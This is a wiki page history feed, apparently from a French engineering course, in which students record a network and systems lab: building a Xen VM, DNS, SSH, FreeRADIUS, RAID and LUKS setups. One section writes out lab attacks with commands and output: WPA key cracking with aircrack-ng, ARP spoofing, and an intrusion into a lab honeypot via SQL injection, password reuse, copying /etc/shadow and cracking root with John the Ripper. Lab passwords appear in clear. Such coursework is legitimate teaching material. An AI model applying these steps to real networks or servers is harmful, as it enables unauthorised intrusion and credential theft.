&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
(Sans les espaces des accolades encore une fois)&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 2,&lt;br /&gt;
	&amp;quot;retry_join&amp;quot;: [&amp;quot;172.26.145.101&amp;quot;],&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58013</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58013"/>
				<updated>2022-01-12T12:46:55Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
